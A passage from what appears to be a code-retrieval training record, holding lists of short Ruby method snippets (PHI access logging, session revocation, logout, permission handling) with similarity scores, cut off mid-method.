"def disable_paranoid\n if block_given?\n @paranoid = false\n yield\n else\n raise 'Only block form is supported'\n end\n ensure\n @paranoid = true\n end", "def update_self_and_plan(user, plan)\n if plan[:level].to_i == 1\n self.plan.attributes = plan\n self.plan.save(false)\n self.update_attributes(user)\n else\n self.plan.update_attributes(plan) && self.update_attributes(user) && self.plan.process_transaction\n end\n end", "def instance_final_activate\n self.instance_result =\n self.instance_block.map{ |name, inst|\n inst.(self.inst)\n } unless self.instance_block.nil?\n self.kinder\n .each{ |os|\n os.instance_final_activate unless os.reusable?\n }\n self\n end", "def phi_log_keys\n @__phi_log_id = persisted? ? \"Key: #{attributes[self.class.primary_key]}\" : \"Object: #{object_id}\"\n @__phi_log_keys = [PHI_ACCESS_LOG_TAG, self.class.name, @__phi_log_id]\n end", "def instrument_additional_methods\n instrument_save_methods\n instrument_relation_methods\n end", "def enableAttack _obj, _args\n \"_obj enableAttack _args;\" \n end", "def privileged(&block)\n ensure_mode(:privileged)\n instance_eval(&block)\n end", "def access_control\n \n end", "def regulate_scope(name, &block)\n name, block = __synchromesh_parse_regulator_params(name, block)\n singleton_class.send(:define_method, :\"__secure_remote_access_to_#{name}\") do |this, acting_user, *args|\n r = this.send(name, *args)\n r = ReactiveRecordPsuedoRelationArray.new(r) if r.is_a? Array\n __set_synchromesh_permission_granted(this, r, r, acting_user, args, &block)\n end\n end", "def instrument; end", "def plan; end", "def get_private(phi, e)\n (2...phi).find {|d| e*d % phi == 1}\nend", "def enable!\n @mutex.synchronize do\n @advised.each { | x | x.enable! }\n end\n self\n end", "def trust!\n MTurkUtils.trust_user self\n end", "def enable!; end", "def enableSimulation _obj, _args\n \"_obj enableSimulation _args;\" \n end", "def trace!(*methods)\n@_traced = @_traced || []\n# Remember the set of traced methods\n# If no methods were specified, use all public methods defined\n# directly (not inherited) by the class of this object\nmethods = public_methods(false) if methods.size == 0\nmethods.map! {|m| m.to_sym } # Convert any strings to symbols\nmethods -= @_traced\n# Remove methods that are already traced\nreturn if methods.empty?\n# Return early if there is nothing to do\n@_traced |= methods\n# Add methods to set of traced methods\n# Trace the fact that we're starting to trace these methods\nSTDERR << \"Tracing #{methods.join(', ')} on #{object_id}\\n\"\n# Singleton methods are defined in the eigenclass\neigenclass = class << self; self; end\nmethods.each do |m|\n# For each method m\n# Define a traced singleton version of the method m.\n# Output tracing information and use super to invoke the\n# instance method that it is tracing.\n# We want the defined methods to be able to accept blocks, so we\n# can't use define_method, and must instead evaluate a string.\n# Note that everything between %Q{ and the matching } is a\n# double-quoted string, not a block. Also note that there are\n# two levels of string interpolations here. #{} is interpolated\n# when the singleton method is defined. And \\#{} is interpolated\n# when the singleton method is invoked.\neigenclass.class_eval %Q{\ndef #{m}(*args, &block)\nbegin\nSTDERR << \"Entering: #{m}(\\#{args.join(', ')})\\n\"\nresult = super\nSTDERR << \"Exiting: #{m} with \\#{result}\\n\"\nresult\nrescue\nSTDERR << \"Aborting: #{m}: \\#{$!.class}: \\#{$!.message}\"\nraise\nend\nend\n}\nend\nend", "def proxy; self end", "def visit_with_session\n open_session do |sess|\n sess.host = 'test.host'\n sess.extend Mephisto::Integration::Actor\n yield sess if block_given?\n end\n end", "def enable_profiling\n if current_user && CurateND::AdminConstraint.is_admin?(current_user.username)\n Rack::MiniProfiler.authorize_request\n end\n end", "def setup(force = false)\n logger.debug { \"#{self.class}##{__method__}\" }\n self.save! if self.changed? || self.new_record?\n return unless self.active? || force\n provision_agents\n secure_identity_file\n end", "def ___super___\n isolation_context.instance\n end", "def register_funnel_visitor\n @current_visitor = FunnelCake.engine.visitor_class.create(\n :ip=>request.remote_ip.to_s\n )\n @current_visitor.user_id = current_user.id if logged_in?\n @current_visitor.save\n cookies[self.class.read_inheritable_attribute(:cookie_name)] = {\n :value => @current_visitor.id,\n :expires => 1.year.from_now\n }\n end", "def middleware(&block); end", "def trampoline\n f = self\n f = f.call while f.kind_of?(Call)\n f\n end", "def admin(&block)\n block.call if logged_in?\n end", "def block_processed\n if @registration && @registration.voted_digitally?\n redirect_to thanks_url\n end\n end", "def enable_targets_to_self_add_access=(value)\n @enable_targets_to_self_add_access = value\n end", "def self!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 35 )\n\n type = SELF\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 169:8: 'self'\n match( \"self\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 35 )\n\n end", "def set_tracking\n end", "def define_analysis(&block)\n @analysis = block\n end", "def middleware(&block)\n @@middleware << block\n end", "def and_call_through\n @call_through = true\n\n self\n end", "def gt_enable!\n unless self.gt_enabled?\n self.gt_enabled = true\n\n self.cohorts << Settings::User.current_cohort unless self.cohorts.include? Settings::User.current_cohort\n GT::UserManager.ensure_users_special_rolls(self, true)\n\n self.save(:validate => false)\n\n public_roll = self.public_roll\n if (self.user_type == User::USER_TYPE[:real] || self.user_type == User::USER_TYPE[:converted])\n public_roll.roll_type = Roll::TYPES[:special_public_real_user]\n end\n public_roll.save(:validate => false)\n end\n end", "def proxy_user; end", "def visit\n @mark = true\n end", "def instrumenter(&block)\n branch instrumenter: block\n end", "def initialize(plan)\n @scope = :global\n\t @plan = plan\n\t super()\n\t @plan_predicates = Array.new\n\t @neg_plan_predicates = Array.new\n\tend", "def with_method_transaction\n temp_name = \"__pry_#{method.original_name}__\"\n method = self.method\n method.owner.class_eval do\n alias_method temp_name, method.original_name\n yield\n alias_method method.name, method.original_name\n alias_method method.original_name, temp_name\n end\n\n ensure\n method.send(:remove_method, temp_name) rescue nil\n end", "def transaction(&blk)\n tap(&blk)\n end", "def login_required\n raise Forbidden unless @current_member #ログイン状態でないとForbiddenを発生させる\n end", "def method_missing(sym, *args, &blk)\n if authenticated? and delegating?(sym)\n current_session.send(sym, *args, &blk)\n else\n super\n end\n end", "def teacher_admin\n force_signin unless current_clazz.is_teacher?(current_visitor) || current_visitor.has_role?('admin')\n end", "def record_block\n @block = true\n end", "def create\n super\n if current_visit\n current_visit.started_at = Time.now\n current_visit.usuario_id = current_usuario.id\n current_visit.save\n end\n \n Ahoy.user_method = :current_usuario\n ahoy.authenticate(current_usuario)\n set_login_token\n end", "def execute_in_protected_mode(&block)\n run_as_user do\n shield.with_protected_mode(&block)\n end\n end" ]
[ "0.7399726", "0.7300517", "0.7009457", "0.6902059", "0.68666077", "0.6774093", "0.6770297", "0.6558845", "0.64915097", "0.6104912", "0.59926045", "0.5949733", "0.58070046", "0.5631842", "0.56299686", "0.5263379", "0.52136946", "0.50212485", "0.49686205", "0.48723674", "0.48337984", "0.479555", "0.4726051", "0.47176725", "0.46907663", "0.45970994", "0.45898283", "0.4586266", "0.45264626", "0.45258063", "0.45247933", "0.44754013", "0.44595814", "0.44341582", "0.442813", "0.44202682", "0.4416165", "0.44150808", "0.44125703", "0.4410102", "0.44086093", "0.4389576", "0.43798062", "0.4367988", "0.43560937", "0.4353816", "0.43527973", "0.4351675", "0.43512848", "0.43341422", "0.43292642", "0.4326213", "0.43247077", "0.43190446", "0.43100235", "0.4302882", "0.42970353", "0.42953542", "0.42830294", "0.42673448", "0.42638996", "0.42629984", "0.42611527", "0.42591277", "0.42555988", "0.4251805", "0.42487344", "0.4246761", "0.4235407", "0.42340708", "0.4227709", "0.42212155", "0.42191806", "0.42189857", "0.42138788", "0.42094252", "0.42080286", "0.42044416", "0.41999438", "0.41957167", "0.41949666", "0.41925707", "0.41922855", "0.4192193", "0.41839698", "0.4183717", "0.41591308", "0.41583183", "0.41461888", "0.41453856", "0.414523", "0.4144501", "0.41443157", "0.4143858", "0.41424137", "0.41410285", "0.41403702", "0.41386557", "0.4137724", "0.41366" ]
0.59859735
11
Enable PHI access for a single instance of this class inside the block. Returns whatever is returned from the block. Nested calls to get_phi will log once per nested call s
def get_phi(user_id = nil, reason = nil) raise ArgumentError, 'block required' unless block_given? extended_instances = @__phi_relations_extended.clone allow_phi!(user_id, reason) result = yield if block_given? new_extensions = @__phi_relations_extended - extended_instances disallow_last_phi!(preserve_extensions: true) revoke_extended_phi!(new_extensions) if new_extensions.any? result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n __phi_stack.push({\n phi_access_allowed: false\n })\n\n yield if block_given?\n\n __phi_stack.pop\n end", "def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def require_phi!\n raise PhiAccessException, 'PHI Access required, please call allow_phi or allow_phi! first' unless phi_allowed?\n end", "def get_phi(user_id = nil, reason = nil, allow_only: nil)\n raise ArgumentError, 'block required' unless block_given?\n\n if allow_only.present?\n raise ArgumentError, 'allow_only must be iterable with each' unless allow_only.respond_to?(:each)\n raise ArgumentError, \"allow_only must all be `#{name}` objects\" unless allow_only.all? { |t| t.is_a?(self) }\n raise ArgumentError, 'allow_only must all have `allow_phi!` methods' unless allow_only.all? { |t| t.respond_to?(:allow_phi!) }\n end\n\n # Save this so we don't revoke access previously extended outside the block\n frozen_instances = __instances_with_extended_phi.index_with { |obj| obj.instance_variable_get(:@__phi_relations_extended).clone }\n\n if allow_only.nil?\n allow_phi!(user_id, reason)\n else\n allow_only.each { |t| t.allow_phi!(user_id, reason) }\n end\n\n result = yield if block_given?\n\n __instances_with_extended_phi.each do |obj|\n if frozen_instances.include?(obj)\n old_extensions = frozen_instances[obj]\n new_extensions = obj.instance_variable_get(:@__phi_relations_extended) - old_extensions\n obj.send(:revoke_extended_phi!, new_extensions) if new_extensions.any?\n else\n obj.send(:revoke_extended_phi!) # Instance is new to the set, so revoke everything\n end\n end\n\n if allow_only.nil?\n disallow_last_phi!\n else\n allow_only.each { |t| t.disallow_last_phi!(preserve_extensions: true) }\n # We've handled any newly extended allowances ourselves above\n end\n\n result\n end", "def disallow_last_phi!(preserve_extensions: false)\n raise ArgumentError, 'block not allowed' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access = @__phi_access_stack.pop\n\n revoke_extended_phi! unless preserve_extensions\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= self.class.current_user\n reason ||= self.class.i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n @__phi_access_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= current_user\n reason ||= i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n __phi_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def phi_allowed?\n !phi_context.nil? && phi_context[:phi_access_allowed]\n end", "def phi_allowed?\n __phi_stack.present? && __phi_stack[-1][:phi_access_allowed]\n end", "def calculatePhi(num)\n a=1\n b=1\n c=a+b\n num.times do\n a=b\n b=c\n c=a+b\n end\n print \"The value of PHI after #{num} iterations is #{c/b.to_f}\"\n print \"\\n\"\nend", "def get_private(phi, e)\n (2...phi).find {|d| e*d % phi == 1}\nend", "def allow_phi(user_id = nil, reason = nil, allow_only: nil, &block)\n get_phi(user_id, reason, allow_only: allow_only, &block)\n return\n end", "def allow_phi(user_id = nil, reason = nil, &block)\n get_phi(user_id, reason, &block)\n return\n end", "def full_coverage_phi\n PI - max_coverage_phi\n end", "def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n add_disallow_flag!\n add_disallow_flag_to_extended_phi!\n\n yield if block_given?\n\n remove_disallow_flag_from_extended_phi!\n remove_disallow_flag!\n end", "def instance\n local.value\n end", "def get_public(phi)\n (2...phi).find_all {|e| e.gcd(phi) == 1}.sample\nend", "def phi_allowed_by\n phi_context[:user_id]\n end", "def phi_wrap_method(method_name)\n unless respond_to?(method_name)\n PhiAttrs::Logger.warn(\"#{self.class.name} tried to wrap non-existant method (#{method_name})\")\n return\n end\n return if self.class.__phi_methods_wrapped.include? method_name\n\n wrapped_method = :\"__#{method_name}_phi_wrapped\"\n unwrapped_method = :\"__#{method_name}_phi_unwrapped\"\n\n self.class.send(:define_method, wrapped_method) do |*args, **kwargs, &block|\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n unless phi_allowed?\n raise PhiAttrs::Exceptions::PhiAccessException, \"Attempted PHI access for #{self.class.name} #{@__phi_user_id}\"\n end\n\n unless all_phi_context_logged?\n PhiAttrs::Logger.info(\"#{self.class.name} access by [#{all_phi_allowed_by}]. Triggered by method: #{method_name}\")\n set_all_phi_context_logged\n end\n\n send(unwrapped_method, *args, **kwargs, &block)\n end\n end\n\n # method_name => wrapped_method => unwrapped_method\n self.class.send(:alias_method, unwrapped_method, method_name)\n self.class.send(:alias_method, method_name, wrapped_method)\n\n self.class.__phi_methods_wrapped << method_name\n end", "def current_site_visitor\n @current_site_visitor ||= begin\n code = ensure_code_cookie\n GreenFlag::SiteVisitor.for_visitor_code!(code)\n end\n end", "def get\n Ata.get self\n end", "def gasoline_gal\n @current_gasoline ||= quantity * fuel_per_hour * hours_per_year\n end", "def visitor\n @visitor ||= user_signed_in? ? current_user : UserAnon.new(session)\n end", "def ___super___\n isolation_context.instance\n end", "def temp(tenant_session, &block)\n original = self.tenant_session\n begin\n self.tenant_session = tenant_session\n yield\n ensure\n self.tenant_session = original\n end\n end", "def include_in_phi(*methods)\n self.__phi_include_methods = methods.map(&:to_s)\n end", "def current\n spyder.mtu.ecc.current(:spyders)[self]\n end", "def generate_next\n @block.call(@so_far)\n end", "def yotta\n big_self * YOTTA\n end", "def cellular_block_personal_hotspot\n return @cellular_block_personal_hotspot\n end", "def identity\n return self\n end", "def eoutvar\n self\n end", "def mega\n big_self * MEGA\n end", "def __phi_extended_methods\n self.class.__phi_extend_methods.to_a\n end", "def calculate_proof_of_work\n\t\treturn self.pow_strategy.find( self.previous_block.proof, self.previous_hash )\n\tend", "def exa\n big_self * EXA\n end", "def phat\n @phat ||= 1.0 * positive/total\n end", "def get_lambda_phi(gp, err_raise=true)\n lond, latd = find_lon_lat_dims(gp, err_raise)\n lam = lond && gp.axis(lond).to_gphys.convert_units(\"rad\") # lon in rad\n lam.units = \"\" if lond # treat as non-dim\n phi = latd && gp.axis(latd).to_gphys.convert_units(\"rad\") # lat in rad\n phi.units = \"\" if latd # treat as non-dim\n @@lam = lam\n @@phi = phi\n [lam, phi, lond, latd]\n end", "def hop\n @mainChain.hop\n\n end", "def peta\n big_self * PETA\n end", "def proxy; self end", "def get_guard\r\n return @guard_temp\r\n end", "def extend_phi_access(*methods)\n self.__phi_extend_methods = methods.map(&:to_s)\n end", "def trampoline\n f = self\n f = f.call while f.kind_of?(Call)\n f\n end", "def ga_get_tracker\n return GoogleAnalytics::get_instance(@context).new_tracker(@property_id)\n end", "def p4osplat\n @p4osplat ||= calculate_p4osplat\nend", "def spa\n return @spa\n end", "def phi\n m = modulus\n (m == 0)? 0 : Math.acos(z/m)\n end", "def get_current_promotion(&blk)\n\n if @req.session['promotion_id']\n logger.debug \"PromoJudge#get_current_promotion: Looking for promotion with id = #{@req.session['promotion_id']}\" \n df = conn.query(\"select * from promotions where id = \\'#{@req.session['promotion_id']}\\';\")\n elsif @req.cookies['promo_code']\n logger.debug \"PromoJudge#get_current_promotion: Looking for promotion with code = #{@req.cookies['promo_code']}\"\n df = conn.query(\"select * from promotions where code = \\'#{@req.cookies['promo_code']}\\';\")\n else\n logger.error \"PromoJudge#get_current_promotion: no promotion in session or cookies\"\n @current_promotion = nil\n return\n end\n\n df.callback do |promo_results|\n promos = Array(promo_results)\n logger.debug \"PromoJudge#get_current_promotion: Success Callback: DB results = #{promos}\"\n\n result = symbolize(promos).first\n @current_promotion = promos.empty? ? OpenStruct.new(:id => -1) : OpenStruct.new(result)\n\n logger.debug \"PromoJudge#get_current_promotion: Success Callback: @current_promotion = #{@current_promotion.inspect}\" \n if block_given?\n blk.call\n end\n end \n\n df.errback do |ex|\n # Some errors return a PG::Result ?\n if ex.is_a?(PG::Result)\n logger.error \"PromoJudge#get_current_promotion: Error Callback: Result = #{Array(ex).inspect}\"\n end\n logger.error \"PromoJudge#get_current_promotion: Error Callback: Exception = #{ex.inspect}\"\n @current_promotion = nil\n raise ex\n end\n end", "def test_proxy_behavior\n hash_ = Hash.new\n context_self_ = self\n @my_instance_variable_test = :hello\n block_ = proc do\n set_value1('a', 1)\n set_value2('b'){ 2 }\n set_value3_dslversion('c', 3)\n context_self_.assert_raise(NoMethodError){ set_value3('d', 4) }\n context_self_.assert(helper_method())\n context_self_.assert(!instance_variable_defined?(:@my_instance_variable_test))\n context_self_.assert(!self.kind_of?(Target1))\n context_self_.assert_not_equal(context_self_, self)\n end\n Blockenspiel.invoke(block_, Target1.new(hash_), :parameterless => :proxy)\n assert_equal(1, hash_['a1'])\n assert_equal(2, hash_['b2'])\n assert_equal(3, hash_['c3'])\n end", "def self \n if block_given?\n yield self\n else\n self\n end", "def solution\n throw 'No Solution yet' unless @cs\n lambda do |x|\n res = 0;\n @cs.each.with_index do |c,i|\n res += c*phi(i,x)\n end\n res\n end\n end", "def getSugar\n @sugar\n end", "def current_member\n session[:oracle] ||= Oracle::Session.new(request.remote_ip)\n end", "def temp_var\n tv = TemporaryVariable.new @fisk.register, Fiddle::TYPE_VOIDP, Fiddle::SIZEOF_VOIDP, 0, self\n\n if block_given?\n yield tv\n tv.release!\n else\n tv\n end\n end", "def getlocal() end", "def singleton\n class << self; self end\n end", "def >>\n get_once\n end", "def one\n @@one\n end", "def parent &block\n unless @_iv.context\n raise 'Host scope is not available'\n end\n\n if block\n @_iv.context.instance_exec(&block)\n else\n @_iv.context\n end\n end", "def context(&block); end", "def context(&block); end", "def phi()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Phi::PhiRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def return_self\n self\n end", "def set_philosopher\n @philosopher = Philosopher.find(params[:id])\n end", "def evaluate(&block)\n self.original_self = eval \"self\", block.binding\n instance_eval &block\n end", "def all_phi_allowed_by\n self.class.__user_id_string(all_phi_context)\n end", "def __phi_wrapped_methods\n excluded_methods = self.class.__phi_exclude_methods.to_a\n included_methods = self.class.__phi_include_methods.to_a\n\n attribute_names - excluded_methods + included_methods - [self.class.primary_key]\n end", "def value\n @value ||= @block.call\n end", "def latbc(phi)\n=begin\n # not so good\n pi2 = Math::PI/2\n eps = 0.1\n xs = phi[0..1].val \n xe = phi[-2..-1].val\n if (pi2-xs[0].abs) / (xs[0]-xs[1]).abs < eps and\n (pi2-xe[-1].abs) / (xe[-1]-xe[-2]).abs < eps \n GPhys::Derivative::MIRROR_B\n else\n GPhys::Derivative::LINEAR_EXT\n end\n=end\n GPhys::Derivative::LINEAR_EXT\n end", "def get(&block)\n @get = block\n end", "def get(&block)\n @get = block\n end", "def proxy\n self.class.proxy.new(session)\n end", "def f\n self.g + self.h\n end", "def context\n unless @instance_context\n @instance_context = SimContext.new(@version , @params['sid'])\n end\n @instance_context\n end", "def sugar\n @sugar\n end", "def sugar\n @sugar\n end", "def each_e\n (2...@phi).each{|e|\n next unless @phi.gcd(e) == 1\n yield(e)\n }\n end", "def site\n @site ||= Site.instance\nend", "def global\n delegate.global_proxy\n end", "def some_method\n self.info\n end", "def instance\n @instance || self\n end", "def sufia\n self\n end", "def spi\n @spi ||= SPI.new(self)\n end", "def GEI\n\t\treturn @gei\n\tend", "def get_parent\n\n get_expression_pool.fetch_expression(@parent_id)\n end", "def transient(&block)\n #--\n # Newly defined modules/classes will be marked as transient\n # and their names will be stored as transient constants in parent module.\n # All assignments to constants in existing modules are transient.\n # All method definitions added to transient method dictionaries.\n # All methods defined via Object#extend or Module#include\n # will be transient even if target class is persistable.\n # Constant removal that finds constant in a persistent module will raise exception.\n # Method removal that finds method in a persistent module will raise exception.\n #++\n rctx = RubyContext\n save_pm = rctx.persistence_mode\n res = nil\n begin\n rctx.persistence_mode=(false)\n res = yield\n ensure\n rctx.persistence_mode=(save_pm)\n end\n res\n end", "def zetta\n big_self * ZETTA\n end", "def proxy\n @proxy ||= Shoegaze::Proxy.new(@mock_class_double, @mock_instance_double)\n end", "def set_theta\n @theta = Theta.find(params[:id])\n end", "def init\n ctx = ComputationContext.new(self)\n log_failure do\n handler.init(ctx)\n end\n ctx.transaction\n end", "def enter\n visitors.first.enter\n end", "def retrieve\n raise \"ERROR: You must define estimated_dynos() in your plugin\"\n end", "def _get_instance_variable context , name = Virtual::Integer\n get_function = Virtual::MethodSource.create_method(:Object,:_get_instance_variable , [ ] )\n return get_function\n # me = get_function.receiver\n # var_name = get_function.args.first\n # return_to = get_function.return_type\n #\n # index_function = ::Virtual.machine.space.get_class_by_name(:Object).resolve_method(:index_of)\n # # get_function.push( [me] )\n # # index = get_function.call( index_function )\n #\n # after_body = get_function.new_block(\"after_index\")\n # get_function.current after_body\n #\n # # get_function.pop([me])\n # # return_to.at_index( get_function , me , return_to )\n #\n # # get_function.set_return return_to\n # return get_function\n end", "def current_user\n # here we're doing something called memoization\n # memoization ma3naha en msln fel case dyh, kol mara hab2a me7tag 7aga tgebly el current user hadtar \n # a3mel query fel database 3ashan tgebly el current user\n # now memoization means en ana ha3mel object haygyb el current user mara wa7da\n # w lw el method dyh is needed one mara tanya it'll just return the object that is already created\n # to use this in rails you use the ||= operator\n @current_user ||= User.find(session[:user_id]) if session[:user_id] \n end", "def use\n yield configuration\n nil\n end", "def sorrow\n @grpc.sorrow_likelihood\n end" ]
[ "0.6707992", "0.6136941", "0.6083942", "0.60373497", "0.6015877", "0.59142756", "0.5908398", "0.55991167", "0.5379087", "0.53283715", "0.52458555", "0.5107322", "0.50837344", "0.5052187", "0.5049224", "0.5018223", "0.5003113", "0.48136827", "0.47590837", "0.47560441", "0.47269896", "0.46106994", "0.45903423", "0.45583284", "0.4537563", "0.4534941", "0.4516362", "0.45043117", "0.44851756", "0.44788656", "0.44632494", "0.44600505", "0.44401497", "0.4429381", "0.44234097", "0.44192472", "0.44116136", "0.4406438", "0.440057", "0.43909526", "0.43831927", "0.43818676", "0.4378516", "0.43779162", "0.4349198", "0.43417263", "0.43275324", "0.43250662", "0.43239465", "0.43131727", "0.43101096", "0.43100932", "0.43058345", "0.43031493", "0.42989054", "0.42850286", "0.42807668", "0.4278253", "0.4263327", "0.42508408", "0.42494342", "0.42483", "0.42278352", "0.42195803", "0.42195803", "0.42185754", "0.42094088", "0.42041898", "0.4203158", "0.42029226", "0.42019632", "0.4199317", "0.4195363", "0.41937238", "0.41937238", "0.41927126", "0.4187998", "0.41817597", "0.41788098", "0.41788098", "0.41739282", "0.4163756", "0.41601774", "0.41594714", "0.41568473", "0.4155428", "0.41520748", "0.4147905", "0.41467994", "0.4144635", "0.41440517", "0.41428587", "0.4136545", "0.41338885", "0.4132661", "0.4130989", "0.41309258", "0.41281754", "0.4124054", "0.41213158" ]
0.56929445
7
Revoke all PHI access for a single instance of this class.
def disallow_phi! raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given? PhiAttrs::Logger.tagged(*phi_log_keys) do removed_access_for = self.class.__user_id_string(@__phi_access_stack) revoke_extended_phi! @__phi_access_stack = [] message = removed_access_for.present? ? "PHI access disabled for #{removed_access_for}" : 'PHI access disabled. No instance level access was granted.' PhiAttrs::Logger.info(message) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def revoke\n @session.do_rpc_endpoint('/revoke')\n nil\n end", "def destroy\n __log_activity(\"LOGOUT #{current_user}\")\n __debug_route\n __debug_request\n user = current_user&.account&.dup\n opt = BS_AUTH ? { no_revoke: true?(params[:no_revoke]) } : {}\n delete_auth_data(**opt)\n super\n api_clear(user: user)\n set_flash_notice(user: user, clear: true)\n rescue => error\n auth_failure_redirect(message: error)\n end", "def revoke\n raise \"Implement me!\"\n end", "def revoke_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.disallow_last_phi! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n @__phi_relations_extended.subtract(relations)\n end", "def curator_access_revoke\n unless user_signed_in? && current_user.user_type == \"curator\"\n redirect_to root_path\n end\n end", "def revoke_session(user)\n\t\t@sessions.delete user\n\tend", "def untrust!\n MTurkUtils.untrust_user self\n end", "def revoke!\n self.class.transaction do\n update_attribute :revoked, Time.now\n client.increment! :tokens_revoked\n end\n end", "def destroy\n sign_out(resource_name)\n doorkeeper_token.revoke\n\n render_meta message: I18n.t('devise.sessions.signed_out')\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def destroy\n\t\tlog_out\n\t\tUTEPSSO.deauthenticate(cookies[:UTEP_SE], cookies[:UTEP_SA])\n\t\tredirect_to root_url\n\tend", "def abandon!\n @user = nil\n session.delete\n end", "def abandon!\n @user = nil\n session.delete\n end", "def destroy\n sign_out(authenticatable_class)\n redirect_to(passwordless_sign_out_redirect_path, Passwordless.config.redirect_to_response_options.dup)\n end", "def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_last_phi!(preserve_extensions: false)\n raise ArgumentError, 'block not allowed' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access = @__phi_access_stack.pop\n\n revoke_extended_phi! unless preserve_extensions\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def revoke_all_permissions\n update_column(:admin, nil)\n UserPermission.where(user_id: id).each(&:destroy)\n end", "def destroy\n @access.destroy\n end", "def destroy\n log_out\n end", "def destroy\n revert_impersonate\n redirect_to root_path\n end", "def unprotect\n @target\n end", "def revoke_token\n raise 'To be implemented in child classes'\n end", "def revoke(user, session)\n\t\trevoke_session user if authorize(user, session)\n\tend", "def destroy\n Puppet.debug(self.class.to_s.split('::').last + ': Calling destroy method : ')\n\n response, status_code, headers = Puppet::Provider::Cudawaf.delete('SecurityPolicy', @resource[:name], {})\n @property_hash.clear\n [response, status_code, headers]\n end", "def destroy\n\t\tsession[:user_id] = nil\n\t\tsession[:authenticated] = false\n\t\tsession[:admin] =nil\n\t\tredirect_to root_path\n\tend", "def destroy_all\n proxy_target.each { |object| object.destroy }\n end", "def signed_out_other_scope(resource)\n ActiveRecord::SessionStore::Session.all(:conditions => ['user_id = ?', resource.id]).compact.each do |s|\n begin\n s.destroy\n rescue\n next\n end\n end\n end", "def destroy\n # Delete the user access tokens on logout\n User.find(session[:user_id]).delete\n # Delete the session as well\n session = {}\n \n redirect_to root_path\n end", "def remove_all_tenants\n @apt_tenants.clear\n end", "def destroy\n self.class.delete_all(\"session_id='#{session_id}'\")\n end", "def sign_out_all_scopes(lock = T.unsafe(nil)); end", "def destroy\r\n AlnTermination.find_all_by_aln_path_id(self.aln_path_id, :readonly => false).each {|t| do_remove_from_termination(t)}\r\n super\r\n end", "def revoke\n post('/api/revoke')\n end", "def revoke!\n return if revoked?\n update(revoked_at: Time.now)\n 